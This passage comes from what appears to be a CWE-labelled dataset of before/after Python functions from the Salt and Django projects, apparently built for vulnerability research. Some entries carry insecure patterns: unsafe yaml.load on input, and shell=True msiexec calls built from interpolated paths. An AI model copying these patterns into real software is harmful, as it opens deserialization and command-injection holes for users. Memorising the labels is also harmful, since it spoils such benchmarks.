        self.assertEqual(dataset, yaml.load(rendered))",CWE-20,saltstack/salt,325dc56e596a13ed93355429c11ac701eb4441ad,"def test_serialize_yaml(self):
        dataset = {
            ""foo"": True,
            ""bar"": 42,
            ""baz"": [1, 2, 3],
            ""qux"": 2.0
        }
        env = Environment(extensions=[SerializerExtension])
        rendered = env.from_string('{{ dataset|yaml }}').render(dataset=dataset)
        self.assertEqual(dataset, yaml.load(rendered))"
,UNKNOWN,UNKNOWN,tests/modeltests/raw_query/models.py,1,"def __init__(self, *args, **kwargs):
        super(Author, self).__init__(*args, **kwargs)
        # Protect against annotations being passed to __init__ --
        # this'll make the test suite get angry if annotations aren't
        # treated differently than fields.
        for k in kwargs:
            assert k in [f.attname for f in self._meta.fields], \
                ""Author.__init__ got an unexpected parameter: %s"" % k",CWE-703,django/django,72231610b3b1211a7d38e6fde03e77faff741862,"def __init__(self, *args, **kwargs):
        super(Author, self).__init__(*args, **kwargs)
        # Protect against annotations being passed to __init__ --
        # this'll make the test suite get angry if annotations aren't
        # treated differently than fields.
        for k in kwargs:
            assert k in [f.attname for f in self._meta.fields], \
                ""Author.__init__ got an unexpected paramater: %s"" % k"
,UNKNOWN,UNKNOWN,tests/unit/modules/file_test.py,1,"def test_replace_line_in_empty_file(self):
        '''
        Tests that when calling file.line with ``mode=replace``,
        the function doesn't stack trace if the file is empty.
        Should return ``False``.

        See Issue #31135.
        '''
        # Create an empty temporary named file
        empty_file = tempfile.NamedTemporaryFile(delete=False,
                                                 mode='w+')

        # Assert that the file was created and is empty
        self.assertEqual(os.stat(empty_file.name).st_size, 0)

        # Now call the function on the empty file and assert
        # the return is False instead of stack-tracing
        self.assertFalse(filemod.line(empty_file.name,
                                      content='foo',
                                      match='bar',
                                      mode='replace'))

        # Close and remove the file
        empty_file.close()
        os.remove(empty_file.name)",CWE-703,saltstack/salt,7b7c6b38782f9bb63c4f3fec7b7c06779d7be97e,"def test_replace_line_in_empty_file(self):
        '''
        Tests that when calling file.line with ``mode=replace``,
        the function doesn't stack trace if the file is empty.
        Should return ``False``.

        See Issue #31135.
        '''
        # Create an empty temporary named file
        empty_file = tempfile.NamedTemporaryFile(delete=False,
                                                 mode='w+')

        # Assert that the file was created and is empty
        self.assertEqual(os.stat(empty_file.name).st_size, 0)

        # Now call the function on the empty file and assert
        # the return is False instead of stack-tracing
        self.assertFalse(filemod.line(empty_file.name,
                                      content='foo',
                                      match='bar',
                                      mode='replace'))

        # Close and remove the file
        empty_file.close()
        os.remove(empty_file.name)"
,UNKNOWN,UNKNOWN,salt/modules/seed.py,1,"def apply_(path, id_=None, config=None, approve_key=True, install=True,
           prep_install=False):
    '''
    Seed a location (disk image, directory, or block device) with the
    minion config, approve the minion's key, and/or install salt-minion.

    CLI Example:

    .. code-block:: bash

        salt 'minion' seed.whatever path id [config=config_data] \\
                [gen_key=(true|false)] [approve_key=(true|false)] \\
                [install=(true|false)]

    path
        Full path to the directory, device, or disk image  on the target
        minion's file system.

    id
        Minion id with which to seed the path.

    config
        Minion configuration options. By default, the 'master' option is set to
        the target host's 'master'.

    approve_key
        Request a pre-approval of the generated minion key. Requires
        that the salt-master be configured to either auto-accept all keys or
        expect a signing request from the target host. Default: true.

    install
        Install salt-minion, if absent. Default: true.

    prep_install
        Prepare the bootstrap script, but don't run it. Default: false
    '''
    stats = __salt__['file.stats'](path, follow_symlinks=True)
    if not stats:
        return '{0} does not exist'.format(path)
    ftype = stats['type']
    path = stats['target']
    mpt = _mount(path, ftype)

    if not mpt:
        return '{0} could not be mounted'.format(path)

    if config is None:
        config = {}
    if not 'master' in config:
        config['master'] = __opts__['master']
    if id_:
        config['id'] = id_

    tmp = os.path.join(mpt, 'tmp')

    # Write the new minion's config to a tmp file
    tmp_config = os.path.join(tmp, 'minion')
    with salt.utils.fopen(tmp_config, 'w+') as fp_:
        fp_.write(yaml.dump(config, default_flow_style=False))

    # Generate keys for the minion
    salt.crypt.gen_keys(tmp, 'minion', 2048)
    pubkeyfn = os.path.join(tmp, 'minion.pub')
    privkeyfn = os.path.join(tmp, 'minion.pem')
    with salt.utils.fopen(pubkeyfn) as fp_:
        pubkey = fp_.read()

    if approve_key:
        __salt__['pillar.ext']({'virtkey': [id_, pubkey]})
    if _check_install(mpt):
        # salt-minion is already installed, just move the config and keys
        # into place
        log.info('salt-minion pre-installed on image, '
                 'configuring as {0}'.format(id_))
        minion_config = salt.config.minion_config(tmp_config)
        pki_dir = minion_config['pki_dir']
        os.rename(privkeyfn, os.path.join(mpt,
                                          pki_dir.lstrip('/'),
                                          'minion.pem'))
        os.rename(pubkeyfn, os.path.join(mpt,
                                         pki_dir.lstrip('/'),
                                         'minion.pub'))
        os.rename(tmp_config, os.path.join(mpt, 'etc/salt/minion'))
        res = True
    elif install:
        log.info('attempting to install salt-minion to '
                 '{0}'.format(mpt))
        res = _install(mpt)
    elif prep_install:
        _prep_bootstrap(mpt)
        log.info('{0} is ready for salt-minion installation'.format(mpt))
        res = True
    else:
        log.warn('No useful action performed on '
                 '{0}'.format(mpt))
        res = False

    _umount(mpt, ftype)
    return res",CWE-20,saltstack/salt,de3de02d8db7d833f5c141edc734f0bcf24f7972,"def apply_(path, id_=None, config=None, approve_key=True, install=True,
           prep_install=False):
    '''
    Seed a location (disk image, directory, or block device) with the
    minion config, approve the minion's key, and/or install salt-minion.

    CLI Example:

    .. code-block:: bash

        salt 'minion' seed.whatever path id [config=config_data] \\
                [gen_key=(true|false)] [approve_key=(true|false)] \\
                [install=(true|false)]

    path
        Full path to the directory, device, or disk image  on the target
        minion's file system.

    id
        Minion id with which to seed the path.

    config
        Minion configuration options. By default, the 'master' option is set to
        the target host's 'master'.

    approve_key
        Request a pre-approval of the generated minion key. Requires
        that the salt-master be configured to either auto-accept all keys or
        expect a signing request from the target host. Default: true.

    install
        Install salt-minion, if absent. Default: true.

    prep_install
        Prepare the bootstrap script, but don't run it. Default: false
    '''
    stats = __salt__['file.stats'](path, follow_symlinks=True)
    if not stats:
        return '{0} does not exist'.format(path)
    ftype = stats['type']
    path = stats['target']
    mpt = _mount(path, ftype)

    if not mpt:
        return '{0} could not be mounted'.format(path)

    if config is None:
        config = {}
    elif isinstance(config, str):
        config = yaml.load(config)
    if not 'master' in config:
        config['master'] = __opts__['master']
    if id_:
        config['id'] = id_

    tmp = os.path.join(mpt, 'tmp')

    # Write the new minion's config to a tmp file
    tmp_config = os.path.join(tmp, 'minion')
    with salt.utils.fopen(tmp_config, 'w+') as fp_:
        fp_.write(yaml.dump(config, default_flow_style=False))

    # Generate keys for the minion
    salt.crypt.gen_keys(tmp, 'minion', 2048)
    pubkeyfn = os.path.join(tmp, 'minion.pub')
    privkeyfn = os.path.join(tmp, 'minion.pem')
    with salt.utils.fopen(pubkeyfn) as fp_:
        pubkey = fp_.read()

    if approve_key:
        __salt__['pillar.ext']({'virtkey': [id_, pubkey]})
    if _check_install(mpt):
        # salt-minion is already installed, just move the config and keys
        # into place
        log.info('salt-minion pre-installed on image, '
                 'configuring as {0}'.format(id_))
        minion_config = salt.config.minion_config(tmp_config)
        pki_dir = minion_config['pki_dir']
        os.rename(privkeyfn, os.path.join(mpt,
                                          pki_dir.lstrip('/'),
                                          'minion.pem'))
        os.rename(pubkeyfn, os.path.join(mpt,
                                         pki_dir.lstrip('/'),
                                         'minion.pub'))
        os.rename(tmp_config, os.path.join(mpt, 'etc/salt/minion'))
        res = True
    elif install:
        log.info('attempting to install salt-minion to '
                 '{0}'.format(mpt))
        res = _install(mpt)
    elif prep_install:
        _prep_bootstrap(mpt)
        log.info('{0} is ready for salt-minion installation'.format(mpt))
        res = True
    else:
        log.warn('No useful action performed on '
                 '{0}'.format(mpt))
        res = False

    _umount(mpt, ftype)
    return res"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/vagrant.py,0,"def create(vm_):
    '''
    Provision a single machine

    CLI Example:

    .. code-block:: bash

        salt-cloud -p my_profile new_node_1

    '''
    name = vm_['name']
    machine = config.get_cloud_config_value(
        'machine', vm_, __opts__, default='')
    vm_['machine'] = machine
    host = config.get_cloud_config_value(
        'host', vm_, __opts__, default=NotImplemented)
    vm_['cwd'] = config.get_cloud_config_value(
        'cwd', vm_, __opts__, default='/')
    vm_['runas'] = config.get_cloud_config_value(
        'vagrant_runas', vm_, __opts__, default=os.getenv('SUDO_USER'))
    vm_['timeout'] = config.get_cloud_config_value(
        'vagrant_up_timeout', vm_, __opts__, default=300)
    vm_['vagrant_provider'] = config.get_cloud_config_value(
        'vagrant_provider', vm_, __opts__, default='')
    vm_['grains'] = {'salt-cloud:vagrant': {'host': host, 'machine': machine}}

    log.info('sending \'vagrant.init %s machine=%s\' command to %s', name, machine, host)

    local = salt.client.LocalClient()
    ret = local.cmd(host, 'vagrant.init', [name], kwarg={'vm': vm_, 'start': True})
    log.info('response ==> %s', ret[host])

    network_mask = config.get_cloud_config_value(
        'network_mask', vm_, __opts__, default='')
    if 'ssh_host' not in vm_:
        ret = local.cmd(host,
                        'vagrant.get_ssh_config',
                        [name],
                        kwarg={'network_mask': network_mask,
                                'get_private_key': True})[host]
    with tempfile.NamedTemporaryFile() as pks:
        if 'private_key' not in vm_ and ret.get('private_key', False):
            pks.write(ret['private_key'])
            pks.flush()
            log.debug('wrote private key to %s', pks.name)
            vm_['key_filename'] = pks.name
        if 'ssh_host' not in vm_:
            vm_.setdefault('ssh_username', ret['ssh_username'])
            if ret.get('ip_address'):
                vm_['ssh_host'] = ret['ip_address']
            else:  # if probe failed or not used, use Vagrant's reported ssh info
                vm_['ssh_host'] = ret['ssh_host']
                vm_.setdefault('ssh_port', ret['ssh_port'])

        log.info('Provisioning machine %s as node %s using ssh %s',
                 machine, name, vm_['ssh_host'])
        ret = __utils__['cloud.bootstrap'](vm_, __opts__)
        return ret",,saltstack/salt,0c7f63e9d42058bed5f0d8a42c5550093591eb7a,"def create(vm_):
    '''
    Provision a single machine

    CLI Example:

    .. code-block:: bash
        salt-cloud -p my_profile new_node_1

    '''
    name = vm_['name']
    machine = config.get_cloud_config_value(
        'machine', vm_, __opts__, default='')
    vm_['machine'] = machine
    host = config.get_cloud_config_value(
        'host', vm_, __opts__, default=NotImplemented)
    vm_['cwd'] = config.get_cloud_config_value(
        'cwd', vm_, __opts__, default='/')
    vm_['runas'] = config.get_cloud_config_value(
        'vagrant_runas', vm_, __opts__, default=os.getenv('SUDO_USER'))
    vm_['timeout'] = config.get_cloud_config_value(
        'vagrant_up_timeout', vm_, __opts__, default=300)
    vm_['vagrant_provider'] = config.get_cloud_config_value(
        'vagrant_provider', vm_, __opts__, default='')
    vm_['grains'] = {'salt-cloud:vagrant': {'host': host, 'machine': machine}}

    log.info('sending \'vagrant.init %s machine=%s\' command to %s', name, machine, host)

    local = salt.client.LocalClient()
    ret = local.cmd(host, 'vagrant.init', [name], kwarg={'vm': vm_, 'start': True})
    log.info('response ==> %s', ret[host])

    network_mask = config.get_cloud_config_value(
        'network_mask', vm_, __opts__, default='')
    if 'ssh_host' not in vm_:
        ret = local.cmd(host,
                        'vagrant.get_ssh_config',
                        [name],
                        kwarg={'network_mask': network_mask,
                                'get_private_key': True})[host]
    with tempfile.NamedTemporaryFile() as pks:
        if 'private_key' not in vm_ and ret.get('private_key', False):
            pks.write(ret['private_key'])
            pks.flush()
            log.debug('wrote private key to %s', pks.name)
            vm_['key_filename'] = pks.name
        if 'ssh_host' not in vm_:
            vm_.setdefault('ssh_username', ret['ssh_username'])
            if ret.get('ip_address'):
                vm_['ssh_host'] = ret['ip_address']
            else:  # if probe failed or not used, use Vagrant's reported ssh info
                vm_['ssh_host'] = ret['ssh_host']
                vm_.setdefault('ssh_port', ret['ssh_port'])

        log.info('Provisioning machine %s as node %s using ssh %s',
                 machine, name, vm_['ssh_host'])
        ret = __utils__['cloud.bootstrap'](vm_, __opts__)
        return ret"
,UNKNOWN,UNKNOWN,tests/support/pkg.py,1,"def install_previous(self, downgrade=False):
        """"""
        Install previous version. This is used for upgrade tests.
        """"""
        major_ver = packaging.version.parse(self.prev_version).major
        relenv = packaging.version.parse(self.prev_version) >= packaging.version.parse(
            ""3006.0""
        )
        distro_name = self.distro_name
        if distro_name in (""almalinux"", ""rocky"", ""centos"", ""fedora""):
            distro_name = ""redhat""
        root_url = ""https://packages.broadcom.com/artifactory""

        if self.distro_name in [
            ""almalinux"",
            ""rocky"",
            ""redhat"",
            ""centos"",
            ""amazon"",
            ""fedora"",
            ""vmware"",
            ""photon"",
        ]:
            # Removing EPEL repo files
            for fp in pathlib.Path(""/etc"", ""yum.repos.d"").glob(""epel*""):
                fp.unlink()

            if platform.is_aarch64():
                arch = ""arm64""
                # Starting with 3006.5, we prioritize the aarch64 repo paths for rpm-based distros
                if packaging.version.parse(
                    self.prev_version
                ) >= packaging.version.parse(""3006.5""):
                    arch = ""aarch64""
            else:
                arch = ""x86_64""
            ret = self.proc.run(
                ""rpm"",
                ""--import"",
                ""https://packages.broadcom.com/artifactory/api/security/keypair/SaltProjectKey/public"",
            )
            self._check_retcode(ret)
            download_file(
                ""https://github.com/saltstack/salt-install-guide/releases/latest/download/salt.repo"",
                f""/etc/yum.repos.d/salt-{distro_name}.repo"",
            )

            if ""3007"" in self.prev_version:
                ret = self.proc.run(
                    self.pkg_mngr, ""config-manager"", ""--enable"", ""salt-repo-3007-sts""
                )
                self._check_retcode(ret)
            else:
                ret = self.proc.run(
                    self.pkg_mngr, ""config-manager"", ""--disable"", ""salt-repo-3007-sts""
                )
                self._check_retcode(ret)

            if self.distro_name == ""photon"":
                # yum version on photon doesn't support expire-cache
                ret = self.proc.run(self.pkg_mngr, ""clean"", ""all"")
            else:
                ret = self.proc.run(self.pkg_mngr, ""clean"", ""expire-cache"")
            self._check_retcode(ret)
            cmd_action = ""downgrade"" if downgrade else ""install""
            pkgs_to_install = self.salt_pkgs.copy()
            if self.distro_version == ""8"" and self.classic:
                # centosstream 8 doesn't downgrade properly using the downgrade command for some reason
                # So we explicitly install the correct version here
                list_ret = self.proc.run(
                    self.pkg_mngr, ""list"", ""--available"", ""salt""
                ).stdout.split(""\n"")
                list_ret = [_.strip() for _ in list_ret]
                idx = list_ret.index(""Available Packages"")
                old_ver = list_ret[idx + 1].split()[1]
                pkgs_to_install = [f""{pkg}-{old_ver}"" for pkg in pkgs_to_install]
                if self.dbg_pkg:
                    # self.dbg_pkg does not exist on classic packages
                    dbg_exists = [x for x in pkgs_to_install if self.dbg_pkg in x]
                    if dbg_exists:
                        pkgs_to_install.remove(dbg_exists[0])
                cmd_action = ""install""
            # pkgs = [f""{_}=={self.prev_version}"" for _ in pkgs_to_install]
            ret = self.proc.run(
                self.pkg_mngr,
                cmd_action,
                *pkgs_to_install,
                ""-y"",
            )
            log.error(""**WTF %r"", ret)
            self._check_retcode(ret)

        elif distro_name in [""debian"", ""ubuntu""]:
            ret = self.proc.run(self.pkg_mngr, ""install"", ""curl"", ""-y"")
            self._check_retcode(ret)
            ret = self.proc.run(self.pkg_mngr, ""install"", ""apt-transport-https"", ""-y"")
            self._check_retcode(ret)
            ## only classic 3005 has arm64 support
            if relenv and platform.is_aarch64():
                arch = ""arm64""
            elif platform.is_aarch64() and self.classic:
                arch = ""arm64""
            else:
                arch = ""amd64""

            pathlib.Path(""/etc/apt/keyrings"").mkdir(parents=True, exist_ok=True)
            gpg_full_path = ""/etc/apt/keyrings/salt-archive-keyring.pgp""

            # download the gpg pub key
            download_file(
                f""{root_url}/api/security/keypair/SaltProjectKey/public"",
                f""{gpg_full_path}"",
            )
            with salt.utils.files.fopen(
                pathlib.Path(""/etc"", ""apt"", ""sources.list.d"", ""salt.list""), ""w""
            ) as fp:
                fp.write(
                    f""deb [signed-by={gpg_full_path} arch={arch}] ""
                    f""{root_url}/saltproject-deb/ stable main""
                )
            self._check_retcode(ret)
            pref_file = pathlib.Path(""/etc"", ""apt"", ""preferences.d"", ""salt-pin-1001"")
            pref_file.parent.mkdir(exist_ok=True)
            pin = f""{self.prev_version.rsplit('.', 1)[0]}.*""
            if downgrade:
                pin = self.prev_version
            with salt.utils.files.fopen(pref_file, ""w"") as fp:
                fp.write(
                    f""Package: salt-*\n"" f""Pin: version {pin}\n"" f""Pin-Priority: 1001""
                )

            cmd = [self.pkg_mngr, ""install"", *self.salt_pkgs, ""-y""]

            # if downgrade:
            #    pref_file = pathlib.Path(""/etc"", ""apt"", ""preferences.d"", ""salt-pin-1001"")
            #    pref_file.parent.mkdir(exist_ok=True)
            #    # TODO: There's probably something I should put in here to say what version
            #    # TODO: But maybe that's done elsewhere, hopefully in self.salt_pkgs
            #    pref_file.write_text(
            #        textwrap.dedent(
            #            f""""""\
            #    Package: salt*
            #    Pin: origin ""{root_url}/saltproject-deb""
            #    Pin-Priority: 1001
            #    """"""
            #        ),
            #        encoding=""utf-8"",
            #    )
            cmd.append(""--allow-downgrades"")
            env = os.environ.copy()
            env[""DEBIAN_FRONTEND""] = ""noninteractive""
            extra_args = [
                ""-o"",
                ""DPkg::Options::=--force-confdef"",
                ""-o"",
                ""DPkg::Options::=--force-confold"",
            ]
            self.proc.run(self.pkg_mngr, ""update"", *extra_args, env=env)

            cmd.extend(extra_args)
            log.error(""Run cmd %s"", cmd)
            ret = self.proc.run(*cmd, env=env)
            log.error(""cmd return %r"", ret)
            # Pre-relenv packages down get downgraded to cleanly programmatically
            # They work manually, and the install tests after downgrades will catch problems with the install
            self._check_retcode(ret)
            # Let's not check the returncode if this is the case
            # if not (
            #    downgrade
            #    and packaging.version.parse(self.prev_version)
            #    < packaging.version.parse(""3006.0"")
            # ):
            #    self._check_retcode(ret)
            if downgrade and not self.no_uninstall:
                pref_file.unlink()
            self.stop_services()
        elif platform.is_windows():
            self.bin_dir = self.install_dir / ""bin""
            self.run_root = self.bin_dir / ""salt.exe""
            self.ssm_bin = self.install_dir / ""ssm.exe""
            pkg = str(pathlib.Path(self.pkgs[0]).resolve())

            if self.file_ext == ""exe"":
                win_pkg = (
                    f""Salt-Minion-{self.prev_version}-Py3-AMD64-Setup.{self.file_ext}""
                )
            elif self.file_ext == ""msi"":
                win_pkg = f""Salt-Minion-{self.prev_version}-Py3-AMD64.{self.file_ext}""
            else:
                log.debug(""Unknown windows file extension: %s"", self.file_ext)

            win_pkg_url = (
                f""{root_url}/saltproject-generic/windows/{self.prev_version}/{win_pkg}""
            )
            pkg_path = pathlib.Path(r""C:\TEMP"", win_pkg)
            pkg_path.parent.mkdir(exist_ok=True)
            download_file(win_pkg_url, pkg_path)

            if self.file_ext == ""msi"":

                if downgrade:
                    # MSI can not be downgraded, we must remove the newer version
                    # before installing the old one.
                    ret = subprocess.run(
                        f""msiexec.exe /qn /x {pkg} /norestart"",
                        shell=True,  # nosec
                        check=False,
                    )
                    assert ret.returncode == 0

                # self.proc.run always makes the command a list even when shell
                # is true, meaning shell being true will never work correctly.
                ret = subprocess.run(
                    f'msiexec.exe /qn /i {pkg_path} /norestart START_MINION=""""',
                    shell=True,  # nosec
                    check=False,
                )
                assert ret.returncode in [0, 3010]
            else:
                # ret = self.proc.run(""start"", ""/wait"", f""\""{pkg_path} /start-minion=0 /S\"""")
                batch_file = pkg_path.parent / ""install_nsis.cmd""
                batch_content = f""start /wait {str(pkg_path)} /start-minion=0 /S""
                with salt.utils.files.fopen(batch_file, ""w"") as fp:
                    fp.write(batch_content)
                # Now run the batch file
                ret = self.proc.run(""cmd.exe"", ""/c"", str(batch_file))
                self._check_retcode(ret)

            log.debug(""Removing installed salt-minion service"")
            ret = self.proc.run(str(self.ssm_bin), ""remove"", ""salt-minion"", ""confirm"")
            self._check_retcode(ret)

            # Add installation to the path
            self.update_process_path()

            if self.pkg_system_service:
                self._install_ssm_service()

        elif platform.is_darwin():
            if relenv and platform.is_aarch64():
                arch = ""arm64""
            elif platform.is_aarch64() and self.classic:
                arch = ""arm64""
            else:
                arch = ""x86_64""

            mac_pkg = f""salt-{self.prev_version}-py3-{arch}.pkg""
            mac_pkg_url = (
                f""{root_url}/saltproject-generic/macos/{self.prev_version}/{mac_pkg}""
            )

            mac_pkg_path = f""/tmp/{mac_pkg}""
            if not os.path.exists(mac_pkg_path):
                download_file(
                    f""{mac_pkg_url}"",
                    f""/tmp/{mac_pkg}"",
                )

            ret = self.proc.run(""installer"", ""-pkg"", mac_pkg_path, ""-target"", ""/"")
            self._check_retcode(ret)","CWE-78, CWE-703",saltstack/salt,c173297feccc1f804d035fed243022db97db216d,"def install_previous(self, downgrade=False):
        """"""
        Install previous version. This is used for upgrade tests.
        """"""
        major_ver = packaging.version.parse(self.prev_version).major
        relenv = packaging.version.parse(self.prev_version) >= packaging.version.parse(
            ""3006.0""
        )
        distro_name = self.distro_name
        if distro_name in (""almalinux"", ""rocky"", ""centos"", ""fedora""):
            distro_name = ""redhat""
        root_url = ""https://packages.broadcom.com/artifactory""

        if self.distro_name in [
            ""almalinux"",
            ""rocky"",
            ""redhat"",
            ""centos"",
            ""amazon"",
            ""fedora"",
            ""vmware"",
            ""photon"",
        ]:
            # Removing EPEL repo files
            for fp in pathlib.Path(""/etc"", ""yum.repos.d"").glob(""epel*""):
                fp.unlink()

            if platform.is_aarch64():
                arch = ""arm64""
                # Starting with 3006.5, we prioritize the aarch64 repo paths for rpm-based distros
                if packaging.version.parse(
                    self.prev_version
                ) >= packaging.version.parse(""3006.5""):
                    arch = ""aarch64""
            else:
                arch = ""x86_64""
            ret = self.proc.run(
                ""rpm"",
                ""--import"",
                ""https://packages.broadcom.com/artifactory/api/security/keypair/SaltProjectKey/public"",
            )
            self._check_retcode(ret)
            download_file(
                ""https://github.com/saltstack/salt-install-guide/releases/latest/download/salt.repo"",
                f""/etc/yum.repos.d/salt-{distro_name}.repo"",
            )
            if self.distro_name == ""photon"":
                # yum version on photon doesn't support expire-cache
                ret = self.proc.run(self.pkg_mngr, ""clean"", ""all"")
            else:
                ret = self.proc.run(self.pkg_mngr, ""clean"", ""expire-cache"")
            self._check_retcode(ret)
            cmd_action = ""downgrade"" if downgrade else ""install""
            pkgs_to_install = self.salt_pkgs.copy()
            if self.distro_version == ""8"" and self.classic:
                # centosstream 8 doesn't downgrade properly using the downgrade command for some reason
                # So we explicitly install the correct version here
                list_ret = self.proc.run(
                    self.pkg_mngr, ""list"", ""--available"", ""salt""
                ).stdout.split(""\n"")
                list_ret = [_.strip() for _ in list_ret]
                idx = list_ret.index(""Available Packages"")
                old_ver = list_ret[idx + 1].split()[1]
                pkgs_to_install = [f""{pkg}-{old_ver}"" for pkg in pkgs_to_install]
                if self.dbg_pkg:
                    # self.dbg_pkg does not exist on classic packages
                    dbg_exists = [x for x in pkgs_to_install if self.dbg_pkg in x]
                    if dbg_exists:
                        pkgs_to_install.remove(dbg_exists[0])
                cmd_action = ""install""
            ret = self.proc.run(
                self.pkg_mngr,
                cmd_action,
                *pkgs_to_install,
                ""-y"",
            )
            self._check_retcode(ret)

        elif distro_name in [""debian"", ""ubuntu""]:
            ret = self.proc.run(self.pkg_mngr, ""install"", ""curl"", ""-y"")
            self._check_retcode(ret)
            ret = self.proc.run(self.pkg_mngr, ""install"", ""apt-transport-https"", ""-y"")
            self._check_retcode(ret)
            ## only classic 3005 has arm64 support
            if relenv and platform.is_aarch64():
                arch = ""arm64""
            elif platform.is_aarch64() and self.classic:
                arch = ""arm64""
            else:
                arch = ""amd64""

            pathlib.Path(""/etc/apt/keyrings"").mkdir(parents=True, exist_ok=True)
            gpg_full_path = ""/etc/apt/keyrings/salt-archive-keyring.pgp""

            # download the gpg pub key
            download_file(
                f""{root_url}/api/security/keypair/SaltProjectKey/public"",
                f""{gpg_full_path}"",
            )
            with salt.utils.files.fopen(
                pathlib.Path(""/etc"", ""apt"", ""sources.list.d"", ""salt.list""), ""w""
            ) as fp:
                fp.write(
                    f""deb [signed-by={gpg_full_path} arch={arch}] ""
                    f""{root_url}/saltproject-deb/ stable main""
                )
            self._check_retcode(ret)
            pref_file = pathlib.Path(""/etc"", ""apt"", ""preferences.d"", ""salt-pin-1001"")
            pref_file.parent.mkdir(exist_ok=True)
            pin = f""{self.prev_version.rsplit('.', 1)[0]}.*""
            if downgrade:
                pin = self.prev_version
            with salt.utils.files.fopen(pref_file, ""w"") as fp:
                fp.write(
                    f""Package: salt-*\n"" f""Pin: version {pin}\n"" f""Pin-Priority: 1001""
                )

            cmd = [self.pkg_mngr, ""install"", *self.salt_pkgs, ""-y""]

            # if downgrade:
            #    pref_file = pathlib.Path(""/etc"", ""apt"", ""preferences.d"", ""salt-pin-1001"")
            #    pref_file.parent.mkdir(exist_ok=True)
            #    # TODO: There's probably something I should put in here to say what version
            #    # TODO: But maybe that's done elsewhere, hopefully in self.salt_pkgs
            #    pref_file.write_text(
            #        textwrap.dedent(
            #            f""""""\
            #    Package: salt*
            #    Pin: origin ""{root_url}/saltproject-deb""
            #    Pin-Priority: 1001
            #    """"""
            #        ),
            #        encoding=""utf-8"",
            #    )
            cmd.append(""--allow-downgrades"")
            env = os.environ.copy()
            env[""DEBIAN_FRONTEND""] = ""noninteractive""
            extra_args = [
                ""-o"",
                ""DPkg::Options::=--force-confdef"",
                ""-o"",
                ""DPkg::Options::=--force-confold"",
            ]
            self.proc.run(self.pkg_mngr, ""update"", *extra_args, env=env)

            cmd.extend(extra_args)
            log.error(""Run cmd %s"", cmd)
            ret = self.proc.run(*cmd, env=env)
            log.error(""cmd return %r"", ret)
            # Pre-relenv packages down get downgraded to cleanly programmatically
            # They work manually, and the install tests after downgrades will catch problems with the install
            self._check_retcode(ret)
            # Let's not check the returncode if this is the case
            # if not (
            #    downgrade
            #    and packaging.version.parse(self.prev_version)
            #    < packaging.version.parse(""3006.0"")
            # ):
            #    self._check_retcode(ret)
            if downgrade and not self.no_uninstall:
                pref_file.unlink()
            self.stop_services()
        elif platform.is_windows():
            self.bin_dir = self.install_dir / ""bin""
            self.run_root = self.bin_dir / ""salt.exe""
            self.ssm_bin = self.install_dir / ""ssm.exe""
            pkg = str(pathlib.Path(self.pkgs[0]).resolve())

            if self.file_ext == ""exe"":
                win_pkg = (
                    f""Salt-Minion-{self.prev_version}-Py3-AMD64-Setup.{self.file_ext}""
                )
            elif self.file_ext == ""msi"":
                win_pkg = f""Salt-Minion-{self.prev_version}-Py3-AMD64.{self.file_ext}""
            else:
                log.debug(""Unknown windows file extension: %s"", self.file_ext)

            win_pkg_url = (
                f""{root_url}/saltproject-generic/windows/{self.prev_version}/{win_pkg}""
            )
            pkg_path = pathlib.Path(r""C:\TEMP"", win_pkg)
            pkg_path.parent.mkdir(exist_ok=True)
            download_file(win_pkg_url, pkg_path)

            if self.file_ext == ""msi"":

                if downgrade:
                    # MSI can not be downgraded, we must remove the newer version
                    # before installing the old one.
                    ret = subprocess.run(
                        f""msiexec.exe /qn /x {pkg} /norestart"",
                        shell=True,  # nosec
                        check=False,
                    )
                    assert ret.returncode == 0

                # self.proc.run always makes the command a list even when shell
                # is true, meaning shell being true will never work correctly.
                ret = subprocess.run(
                    f'msiexec.exe /qn /i {pkg_path} /norestart START_MINION=""""',
                    shell=True,  # nosec
                    check=False,
                )
                assert ret.returncode in [0, 3010]
            else:
                # ret = self.proc.run(""start"", ""/wait"", f""\""{pkg_path} /start-minion=0 /S\"""")
                batch_file = pkg_path.parent / ""install_nsis.cmd""
                batch_content = f""start /wait {str(pkg_path)} /start-minion=0 /S""
                with salt.utils.files.fopen(batch_file, ""w"") as fp:
                    fp.write(batch_content)
                # Now run the batch file
                ret = self.proc.run(""cmd.exe"", ""/c"", str(batch_file))
                self._check_retcode(ret)

            log.debug(""Removing installed salt-minion service"")
            ret = self.proc.run(str(self.ssm_bin), ""remove"", ""salt-minion"", ""confirm"")
            self._check_retcode(ret)

            # Add installation to the path
            self.update_process_path()

            if self.pkg_system_service:
                self._install_ssm_service()

        elif platform.is_darwin():
            if relenv and platform.is_aarch64():
                arch = ""arm64""
            elif platform.is_aarch64() and self.classic:
                arch = ""arm64""
            else:
                arch = ""x86_64""

            mac_pkg = f""salt-{self.prev_version}-py3-{arch}.pkg""
            mac_pkg_url = (
                f""{root_url}/saltproject-generic/macos/{self.prev_version}/{mac_pkg}""
            )

            mac_pkg_path = f""/tmp/{mac_pkg}""
            if not os.path.exists(mac_pkg_path):
                download_file(
                    f""{mac_pkg_url}"",
                    f""/tmp/{mac_pkg}"",
                )

            ret = self.proc.run(""installer"", ""-pkg"", mac_pkg_path, ""-target"", ""/"")
            self._check_retcode(ret)"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_vmware.py,1,,CWE-259,saltstack/salt,f0f609046770181e5ede201449e146bd888b7f1c,"def test_first_attempt_successful_connection(self):
        mock_sc = MagicMock()
        with patch('salt.utils.vmware.SmartConnect', mock_sc):
            salt.utils.vmware._get_service_instance(
                host='fake_host.fqdn',
                username='fake_username',
                password='fake_password',
                protocol='fake_protocol',
                port=1,
                mechanism='sspi',
                principal='fake_principal',
                domain='fake_domain')
            mock_sc.assert_called_once_with(
                host='fake_host.fqdn',
                user='fake_username',
                pwd='fake_password',
                protocol='fake_protocol',
                port=1,
                b64token='fake_token',
                mechanism='sspi')"
,UNKNOWN,UNKNOWN,tests/admin_changelist/tests.py,1,"def test_no_user(self):
        """"""{% get_admin_log %} works without specifying a user.""""""
        user = User(username='jondoe', password='secret', email='super@example.com')
        user.save()
        ct = ContentType.objects.get_for_model(User)
        LogEntry.objects.log_action(user.pk, ct.pk, user.pk, repr(user), 1)
        t = Template(
            '{% load log %}'
            '{% get_admin_log 100 as admin_log %}'
            '{% for entry in admin_log %}'
            '{{ entry|safe }}'
            '{% endfor %}'
        )
